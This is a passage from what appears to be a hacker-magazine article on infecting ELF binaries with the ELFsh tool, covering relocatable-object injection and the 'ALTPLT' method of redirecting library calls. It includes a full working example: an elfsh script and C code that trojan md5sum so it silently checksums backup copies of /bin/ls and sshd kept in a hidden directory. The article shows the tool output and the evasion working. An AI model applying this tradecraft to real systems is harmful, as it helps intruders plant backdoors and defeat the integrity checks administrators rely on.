algorithm - Insert new section's name into .shstrtab - Insert new entry in SHT at requested range - Increment by 1 the e_shnum field in ELF header FOREACH SHT entry [ IF current entry file offset is after SHT file offset [ - Add e_shentsize from ELF header to current sh_offset ] ] IF injected section header sh_offset <= SHT file offset [ - Add new section size (sh_size) to e_shoff field in ELF header ] IF requested new section range <= section string table index [ - Increment sh_strndx field in ELF header ] ---------[ Symbol injection algorithm - Insert symbol name into .strtab section - Insert symbol entry into .symtab section ---------[ Section data injection algorithm (apply to all type of section) - Insert data into section - Add injected data size to section's sh_size IF SHT file offset > section file offset [ - Add injected data size to e_shoff in ELF header ] FOREACH SHT entry [ IF current entry sh_offset field > extended section file offset [ IF current entry sh_addr field is non-null [ - Add injected data size to sh_addr ] - Add injected data size to sh_offset ] ] IF extended section sh_addr is non-null [ FOREACH symbol table entry [ IF symbol points after extended section former upper bound [ - Add injected data size to st_value field ] ] ] The relocation (step 4) algorithm wont be detailed, because it is already all explained in the ELF reference. In short, the relocation process consists in updating all the addresses references in the injected ET_REL code, using the available merged symbol tables in the ET_EXEC file. There are 12 relocation types on INTEL and 56 relocations types on SPARC, however, only 2 types are mostly used on INTEL, and only 3 on SPARC for ET_REL objects. This last stage is a switch/case based algorithm, which has in charge to update some bytes, many times, in each injected mapped section. The relocation tables contains all the information necessary for this operation, their name is .rel. (or .rela. on SPARC), with beeing the section which is going to be relocated using this table). Those sections can be easily found just parsing the SHT and looking for sections whoose st_type is SHT_REL (or SHT_RELA on SPARC). What makes the ELFsh relocation engine powerful, is the using of both symbol table (.symtab and .dynsym), which means that the injected code can resolve symbols from the executable itself, e.g. it is possible to call the core functions of the executable, as well as existing .plt entries from the backdoor code, if their symbol value is available. For more details about the relocation step, please look at the ELFsh code in libelfsh/relinject.c, particulary at the elfsh_relocate_i386 and and elfsh_relocate_sparc. As suggested in the previous paragraph, ELFsh has a limitation since it is not possible to call functions not already present in the binary. If we want to call such functions, we would have to add information for the dynamic linker, so that the function address can be resolved in runtime using the standard GOT/PLT mechanism. It would requires .got, .plt, .rel.plt, .dynsym, .dynstr, and .hash extensions, which is not trivial when we dont want to move the binary data and code zones from their original addresses. Since relocation information is not available for ET_EXEC ELF objects, we woulnt be sure that our reconstructed relocation information would be 100% exact, without having a very strong and powerful dataflow analysis engine. This was proved by modremap (modules/modremap.c) written by spacewalkr, which is a SHT/PHT/symtab shifter. Coupled to the ELFsh relocation finder (vm/findrel.c), this module can remap a ET_EXEC binary in another place of the address space. This is known to work for /bin/ls and various /bin/* but bigger binaries like ssh/sshd cannot be relocated using this technique, because valid pointers double words are not always real pointers in such bins (false positives happen in hash values). For this reason, we dont want to move ET_EXEC section's from their original place. Instead, it is probably possible to add extra sections and use big offsets from the absolute addresses stored into .dynamic, but this feature is not yet provided. A careful choice of external functions hijacking is usually enough to get rid of the non-present symbol problem, even if this 'extra-function resolving' feature will probably be implemented in the future. For some sections like .hash, it may be necessary to do a copy of the original section after .bss and change the referenced address in the .dynamic section, so that we can extend the hash without moving any original code or data. -------[ 4. Infection : ALTPLT technique Now that we have a decent residency technique in ET_REL injection, let's focus on a new better infection technique than GOT redirection and PLT infection : the ALTPLT technique. This new technique takes advantage of the symbol based function address resolving of the previous technique, as detailed below. ALTPLT is an improvement of PLT infection technique. Silvio Cesare describes how to modify the .plt section, in order to redirect function calls to library onto another code, so called the hook code. From [4], the algorithm of original .plt infection: -----%<-------%<--------%<---------%<----------%<--------%<--------- '' The algorithm at the entry point code is as follows... * mark the text segment writable * save the PLT(GOT) entry * replace the PLT(GOT) entry with the address of the new libcall The algorithm in the new library call is as follows... * do the payload of the new libcall * restore the original PLT(GOT) entry * call the libcall * save the PLT(GOT) entry again (if it is changed) * replace the PLT(GOT) entry with the address of the new libcall '' -----%<-------%<--------%<---------%<----------%<--------%<--------- The implementation of such an algorithm was presented in x86 assembly language using segment padding residency. This technique is not enough because: 1/ It is architecture dependant 2/ Strict segments rights may not be kept consistant (PaX unsafe) 3/ The general layout of the technique lacks a formal interface The new ALTPLT technique consists of copying the Procedure Linkage Table (.plt) to an alternative section, called .orig.plt, using a pre-interp injection, so that it resides in the read-only code segment. For each entry of the .orig.plt, we create and inject a new reference symbol, which name the same as the .plt entry symbol at the same index, except that it starts by 'old_'. Using this layout, we are able to perform standard PLT infection on the original .plt section, but instead of having a complex architecture dependant hook code, we use an injected function residing in hook.o.text, which is the text section of an ET_REL module that was injected using the technique described in the previous part of the paper. This way, we can still call the original function using old_funcname(), since the injected symbol will be available for the relocation engine, as described in the ET_REL injection algorithm ;). We keep the GOT/PLT mechanism intact and we rely on it to provide a normal function address resolution, like in every dynamic executable files. The .got section will now be unique for both .plt and .orig.plt sections. The added section .orig.plt is a strict copy of the original .plt, and will not ever be overwritten. In other words, .orig.plt is PaX safe. The only difference will be that original .plt entries may not use .got, but might be redirected on another routine using a direct branchement instruction. Let's look at an example where the puts() function is hijacked, and the puts_troj() function is called instead. On INTEL: -----BEGIN EXAMPLE 13----- old_puts + 0 jmp *<_GLOBAL_OFFSET_TABLE_ + 20> FF 25 00 97 04 08 old_puts + 6 push $10 68 10 00 00 00 old_puts + 11 jmp E9 C0 FF FF FF puts + 0 jmp E9 47 ED FF FF puts + 5 or %ch,10(%eax) 08 68 10 puts + 8 add %al,(%eax) 00 00 puts + 10 add %ch,%cl 00 E9 puts + 12 sar $FF,%bh C0 FF FF puts + 15 (bad) %edi FF FF -----END EXAMPLE 13----- On SPARC: -----BEGIN EXAMPLE 14----- old_puts + 0 sethi %hi(0xf000), %g1 03 00 00 3c old_puts + 4 b,a e0f4 30 bf ff f0 old_puts + 8 nop 01 00 00 00 puts + 0 jmp %g1 + 0xf4 ! 81 c0 60 f4 puts + 4 nop 01 00 00 00 puts + 8 sethi %hi(0x12000), %g1 03 00 00 48 -----END EXAMPLE 14----- This is the only architecture dependant operation in the ALTPLT algorithm. It means that this feature can be implemented very easily for other processors as well. However, on SPARC there is one more modification to do on the first entry of the .orig.plt section. Indeed, the SPARC architecture does not use a Global Offset Table (.got) for function address resolving, instead the .plt section is directly modified at dynamic linking time. Except for this difference, the SPARC .plt works just the same as INTEL .plt (both are using the first .plt entry each time, as explained in the ELF reference). For this reason, we have to modify the first .orig.plt entry to make it point on the first .plt entry (which is patched in runtime before the main() function takes control). In order to patch it, we need to use a register other than %g1 (since this one is used by the dynamic linker to identify the .plt entry which has to be patched), for example %g2 (elfsh_hijack_plt_sparc_g2 in libelfsh/hijack.c). Patched first .orig.plt entry on SPARC: -----BEGIN EXAMPLE 15----- .orig.plt sethi %hi(0x20400), %g2 05 00 00 81 .orig.plt jmp %g2 + 0x2a8 ! <.plt> 81 c0 a2 a8 .orig.plt nop 01 00 00 00 -----END EXAMPLE 15----- The reason for NOP instructions after the branching instruction (jmp) is because of SPARC delay slot. In short, SPARC branchement is done in such way that it changes the NPC register (New Program Counter) and not the PC register, and the instruction after a branching one is executed before the real branchement. Let's use a new example which combines ET_REL injection and ALTPLT infection this time (instead of GOT redirection, like in the previous sshd example). We will modify md5sum so that access to /bin/ls and /usr/sbin/sshd is redirected. In that case, we need to hijack the fopen64() function used by md5sum, swap the real path with the backup path if necessary, and call the original fopen64 as if nothing had happened: -----BEGIN EXAMPLE 16----- $ cat md16.esh #!/usr/bin/elfsh load /usr/bin/md5sum load test.o # Add test.o into md5sum reladd 1 2 # Redirect fopen64 to fopen64_troj (in test.o) using ALTPLT technique redir fopen64 fopen64_troj save md5sum.new quit $ chmod +x md16.esh $ -----END EXAMPLE 16----- Let's look at the injected code. Because the strcmp() libc function is not used by md5sum and therefore its symbol is not available in the binary, we have to copy it in the module source: -----BEGIN EXAMPLE 17----- $ cat test.c #include #define HIDDEN_DIR "/path/to/hidden/dir" #define LS "/bin/ls" #define SSHD "/usr/sbin/sshd" #define LS_BAQ "ls.baq" #define SSHD_BAQ "sshd.baq" int mystrcmp(char *str1, char *str2) { u_int cnt; for (cnt = 0; str1[cnt] && str2[cnt]; cnt++) if (str1[cnt] != str2[cnt]) return (str1[cnt] - str2[cnt]); return (str1[cnt] - str2[cnt]); } int fopen64_troj(char *str1, char *str2) { if (!mystrcmp(str1, LS)) str1 = HIDDEN_DIR "/" LS_BAQ; else if (!mystrcmp(str1, SSHD)) str1 = HIDDEN_DIR "/" SSHD_BAQ; return (old_fopen64(str1, str2)); } $ gcc test.c -c $ -----END EXAMPLE 17----- For this last example, the full relinking information will be printed on stdout, so that the reader can enjoy all the details of the implementation: -----BEGIN EXAMPLE 18----- $ Welcome to The ELF shell 0.5b9 .::. .::. This software is under the General Public License .::. Please visit http://www.gnu.org to know about Free Software ~load /usr/bin/md5sum [*] New object /usr/bin/md5sum loaded on Sat Aug 2 16:16:32 2003 ~exec cc test.c -c [*] Command executed successfully ~load test.o [*] New object test.o loaded on Sat Aug 2 16:16:32 2003 ~reladd 1 2 [DEBUG_RELADD] Found BSS zone lenght [00000000] for module [test.o] [DEBUG_RELADD] Inserted STT_SECT symbol test.o.text [080470F4] [DEBUG_RELADD] Inserted STT_SECT symbol test.o.rodata [080460F4] [DEBUG_RELADD] Inserted STT_SECT symbol .orig.plt [080450F4] [DEBUG_RELADD] Injected symbol old_dlresolve [080450F4] [DEBUG_RELADD] Injected symbol old_ferror [08045104] [DEBUG_COPYPLT] Symbol at .plt + 16 injected succesfully [DEBUG_RELADD] Injected symbol old_strchr [08045114] [DEBUG_COPYPLT] Symbol at .plt + 32 injected succesfully [DEBUG_RELADD] Injected symbol old_feof [08045124] [DEBUG_COPYPLT] Symbol at .plt + 48 injected succesfully [DEBUG_RELADD] Injected symbol old___register_frame_info [08045134] [DEBUG_COPYPLT] Symbol at .plt + 64 injected succesfully [DEBUG_RELADD] Injected symbol old___getdelim [08045144] [DEBUG_COPYPLT] Symbol at .plt + 80 injected succesfully [DEBUG_RELADD] Injected symbol old_fprintf [08045154] [DEBUG_COPYPLT] Symbol at .plt + 96 injected succesfully [DEBUG_RELADD] Injected symbol old_fflush [08045164] [DEBUG_COPYPLT] Symbol at .plt + 112 injected succesfully [DEBUG_RELADD] Injected symbol old_dcgettext [08045174] [DEBUG_COPYPLT] Symbol at .plt + 128 injected succesfully [DEBUG_RELADD] Injected symbol old_setlocale [08045184] [DEBUG_COPYPLT] Symbol at .plt + 144 injected succesfully [DEBUG_RELADD] Injected symbol old___errno_location [08045194] [DEBUG_COPYPLT] Symbol at .plt + 160 injected succesfully [DEBUG_RELADD] Injected symbol old_puts [080451A4] [DEBUG_COPYPLT] Symbol at .plt + 176 injected succesfully [DEBUG_RELADD] Injected symbol old_malloc [080451B4] [DEBUG_COPYPLT] Symbol at .plt + 192 injected succesfully [DEBUG_RELADD] Injected symbol old_fread [080451C4] [DEBUG_COPYPLT] Symbol at .plt + 208 injected succesfully [DEBUG_RELADD] Injected symbol old___deregister_frame_info [080451D4] [DEBUG_COPYPLT] Symbol at .plt + 224 injected succesfully [DEBUG_RELADD] Injected symbol old_bindtextdomain [080451E4] [DEBUG_COPYPLT] Symbol at .plt + 240 injected succesfully [DEBUG_RELADD] Injected symbol old_fputs [080451F4] [DEBUG_COPYPLT] Symbol at .plt + 256 injected succesfully [DEBUG_RELADD] Injected symbol old___libc_start_main [08045204] [DEBUG_COPYPLT] Symbol at .plt + 272 injected succesfully [DEBUG_RELADD] Injected symbol old_realloc [08045214] [DEBUG_COPYPLT] Symbol at .plt + 288 injected succesfully [DEBUG_RELADD] Injected symbol old_textdomain [08045224] [DEBUG_COPYPLT] Symbol at .plt + 304 injected succesfully [DEBUG_RELADD] Injected symbol old_printf [08045234] [DEBUG_COPYPLT] Symbol at .plt + 320 injected succesfully [DEBUG_RELADD] Injected symbol old_memcpy [08045244] [DEBUG_COPYPLT] Symbol at .plt + 336 injected succesfully [DEBUG_RELADD] Injected symbol old_fclose [08045254] [DEBUG_COPYPLT] Symbol at .plt + 352 injected succesfully [DEBUG_RELADD] Injected symbol old_getopt_long [08045264] [DEBUG_COPYPLT] Symbol at .plt + 368 injected succesfully [DEBUG_RELADD] Injected symbol old_fopen64 [08045274] [DEBUG_COPYPLT] Symbol at .plt + 384 injected succesfully [DEBUG_RELADD] Injected symbol old_exit [08045284] [DEBUG_COPYPLT] Symbol at .plt + 400 injected succesfully [DEBUG_RELADD] Injected symbol old_calloc [08045294] [DEBUG_COPYPLT] Symbol at .plt + 416 injected succesfully [DEBUG_RELADD] Injected symbol old__IO_putc [080452A4] [DEBUG_COPYPLT] Symbol at .plt + 432 injected succesfully [DEBUG_RELADD] Injected symbol old_free [080452B4] [DEBUG_COPYPLT] Symbol at .plt + 448 injected succesfully [DEBUG_RELADD] Injected symbol old_error [080452C4] [DEBUG_COPYPLT] Symbol at .plt + 464 injected succesfully [DEBUG_RELADD] Entering intermediate symbol injection loop [DEBUG_RELADD] Injected ET_REL symbol mystrcmp [080470F4] [DEBUG_RELADD] Injected symbol mystrcmp [080470F4] [DEBUG_RELADD] Injected ET_REL symbol fopen64_troj [08047188] [DEBUG_RELADD] Injected symbol fopen64_troj [08047188] [DEBUG_RELADD] Entering final relocation loop [DEBUG_RELADD] Relocate using section test.o.rodata base [-> 080460F4] [DEBUG_RELADD] Relocate using section test.o.text base [-> 080470F4] [DEBUG_RELADD] Relocate using section test.o.rodata base [-> 080460FC] [DEBUG_RELADD] Relocate using section test.o.rodata base [-> 08046117] [DEBUG_RELADD] Relocate using section test.o.text base [-> 080470F4] [DEBUG_RELADD] Relocate using section test.o.rodata base [-> 08046126] [DEBUG_RELADD] Relocate using existing symbol old_fopen64 [08045274] [*] ET_REL test.o injected succesfully in ET_EXEC /usr/bin/md5sum ~redir fopen64 fopen64_troj [*] Function fopen64 redirected to addr 0x08047188 ~save md5sum.new [*] Object md5sum.new save successfully ~quit [*] Unloading object 1 (test.o) [*] Unloading object 2 (/usr/bin/md5sum) * Good bye ! .::. The ELF shell 0.5b9 $ -----END EXAMPLE 18----- As shown in the script output, the new file has got new symbols (the old symbols). Let's observe them using the elfsh '-sym' command and the regex capability ('old') : -----BEGIN EXAMPLE 19----- $ elfsh -q -f md5sum.new -sym old [SYMBOL TABLE] [Object md5sum.new] [27] 0x80450f4 FUNC old_dlresolve sz:16 scop:Local [28] 0x8045104 FUNC old_ferror sz:16 scop:Local [29] 0x8045114 FUNC old_strchr sz:16 scop:Local [30] 0x8045124 FUNC old_feof sz:16 scop:Local [31] 0x8045134 FUNC old___register_frame_info sz:16 scop:Local [32] 0x8045144 FUNC old___getdelim sz:16 scop:Local [33] 0x8045154 FUNC old_fprintf sz:16 scop:Local [34] 0x8045164 FUNC old_fflush sz:16 scop:Local [35] 0x8045174 FUNC old_dcgettext sz:16 scop:Local [36] 0x8045184 FUNC old_setlocale sz:16 scop:Local [37] 0x8045194 FUNC old___errno_location sz:16 scop:Local [38] 0x80451a4 FUNC old_puts sz:16 scop:Local [39] 0x80451b4 FUNC old_malloc sz:16 scop:Local [40] 0x80451c4 FUNC old_fread sz:16 scop:Local [41] 0x80451d4 FUNC old___deregister_frame_info sz:16 scop:Local [42] 0x80451e4 FUNC old_bindtextdomain sz:16 scop:Local [43] 0x80451f4 FUNC old_fputs sz:16 scop:Local [44] 0x8045204 FUNC old___libc_start_main sz:16 scop:Local [45] 0x8045214 FUNC old_realloc sz:16 scop:Local [46] 0x8045224 FUNC old_textdomain sz:16 scop:Local [47] 0x8045234 FUNC old_printf sz:16 scop:Local [48] 0x8045244 FUNC old_memcpy sz:16 scop:Local [49] 0x8045254 FUNC old_fclose sz:16 scop:Local [50] 0x8045264 FUNC old_getopt_long sz:16 scop:Local [51] 0x8045274 FUNC old_fopen64 sz:16 scop:Local [52] 0x8045284 FUNC old_exit sz:16 scop:Local [53] 0x8045294 FUNC old_calloc sz:16 scop:Local [54] 0x80452a4 FUNC old__IO_putc sz:16 scop:Local [55] 0x80452b4 FUNC old_free sz:16 scop:Local [56] 0x80452c4 FUNC old_error sz:16 scop:Local $ -----END EXAMPLE 19----- It sounds good ! Does it work now? $ md5sum /bin/bash ebe1f822a4d026c366c8b6294d828c87 /bin/bash $ ./md5sum.new /bin/bash ebe1f822a4d026c366c8b6294d828c87 /bin/bash $ md5sum /bin/ls 3b622e661f6f5c79376c73223ebd7f4d /bin/ls $ ./md5sum.new /bin/ls ./md5sum.new: /bin/ls: No such file or directory $ md5sum /usr/sbin/sshd 720784b7c1e5f3418710c7c5ebb0286c /usr/sbin/sshd $ ./md5sum.new /usr/sbin/sshd ./md5sum.new: /usr/sbin/sshd: No such file or directory $ ./md5sum.new ./md5sum.new b52b87802b7571c1ebbb10657cedb1f6 ./md5sum.new $ ./md5sum.new /usr/bin/md5sum 8beca981a42308c680e9669166068176 /usr/bin/md5sum $ Heheh. It work so well that even if you forget to put the original copy in your hidden directory, md5sum prints the original path and not your hidden directory path ;). This is because we only change a local pointer in the fopen64_troj() function, and the caller function is not aware of the modification, so the caller error message is proceeded with the original path. Let's give the detailed algorithm for the ALTPLT technique. It must be used as a '2 bis' step in the main ET_REL injection algorithm given in the previous chapter, so that injected code can use any old_* symbols: - Create new section header with same size, type, rights as .plt - Insert new section header IF current OS == FreeBSD [ - Inject section using post-bss technique. ] ELSE [ - Inject section using pre-interp technique. ] FOREACH .plt entry (while counter < sh_size) [ IF counter == 0 AND current architecture is SPARC [ - Infect current entry using %g2 register. ] - Inject new 'old_' symbol pointing on current entry (= sh_addr + cnt) - Add PLT entry size in bytes (SPARC: 12, INTEL: 16) to cnt ] This algorithm is executed once and only once per ET_EXEC file. The 'redir' command actually performs the PLT infection on demand. A future (better) version of this command would allow core binary function hijacking. Since the code segment is read-only in userland, we cant modify the first bytes of the function at runtime and perform some awful bytes restoration [13] [14] for calling back the original function. The best solution is probably to build full control flow graphs for the target architecture, and redirect all calls to a given block (e.g. the first block of the hijacked function), making all these calls point to the hook function, as suggested in [15] . ELFsh provides INTEL control flow graphs (see modflow/modgraph), so does objobf [16], but the feature is not yet available for other architectures, and some specific indirect branchement instructions are not easily predictable [17] using static analysis only, so it remains in the TODO. -------[ 5. The end ? This is the end, beautiful friend. This is the end, my only friend, the end... Of course, there is a lot of place for improvements and new features in this area. More target architectures are planed (pa-risc, alpha, ppc?), as well as more ELF objects support (version tables, ELF64) and extension for the script langage with simple data and control flow support. The ELF development is made easy using the libelfsh API and the script engine. Users are invited to improve the framework and all comments are really welcomed. -------[ 6. Greets Greets go to #!dh and #dnerds peoples, you know who you are. Special thanks to duncan @ mygale and zorgon for beeing cool-asses and giving precious feedback. Other thanks, in random order : Silvio Cesare for his great work on the first generation ELF techniques (I definitely learnt a lot from you), all the ELFsh betatesters & contributors (y0 kil3r and thegrugq) who greatly helped to provide reliable and portable software, pipash for finding all the 76 char lenght lines of the article (your feedback r00lz as usual ;) , grsecurity.net (STBWH) for providing a useful sparc/linux account, and Shaun Clowes for giving good hints. Last minut big thanks to the M1ck3y M0us3 H4ck1ng Squ4dr0n and all the peoples at Chaos Communication Camp 2003 (hi Bulba ;) for the great time I had with them during those days, you guyz rock. -------[ 7. References [1] The ELF shell project The ELF shell crew MAIN : elfsh.devhell.org MIRROR : elfsh.segfault.net [2] PaX project The PaX team pageexec.virtualave.net [3] ELF TIS reference x86.ddj.com/ftp/manuals/tools/elf.pdf www.sparc.com/standards/psABI3rd.pdf (SPARC supplement) [4] UNIX ELF parasites and virus silvio www.u-e-b-i.com/silvio/elf-pv.txt [5] Shared library redirection by ELF PLT infection silvio phrack.org/phrack/56/p56-0x07 [6] Understanding ELF rtld internals mayhem devhell.org/~mayhem/papers/elf-rtld.txt [7] More ELF buggery (bugtraq post) thegrugq www.securityfocus.com/archive/1/274283/2002-05-21/2002-05-27/0 [8] Runtime process infection anonymous phrack.org/phrack/59/p59-0x08.txt [9] Subversive ELF dynamic linking thegrugq downloads.securityfocus.com/library/subversiveld.pdf [10] Static kernel patching jbtzhm phrack.org/phrack/60/p60-0x08.txt [11] Run-time kernel patching silvio www.u-e-b-i.com/silvio/runtime-kernel-kmem-patching.txt [12] Bypassing stackguard and stackshield bulba/kil3r phrack.org/phrack/56/p56-0x05 [13] Kernel function hijacking silvio www.u-e-b-i.com/silvio/kernel-hijack.txt [14] IA32 advanced function hooking mayhem phrack.org/phrack/58/p58-0x08 [15] Unbodyguard (solaris kernel function hijacking) noir gsu.linux.org.tr/~noir/b.tar.gz [16] The object code obfuscator tool of burneye2 scut segfault.net/~scut/objobf/ [17] Secure Execution Via Program Shepherding Vladimir Kiriansky www.cag.lcs.mit.edu/dynamorio/security-usenix.pdf Derek Bruening Saman Amarasinghe |=[ EOF ]=---------------------------------------------------------------=|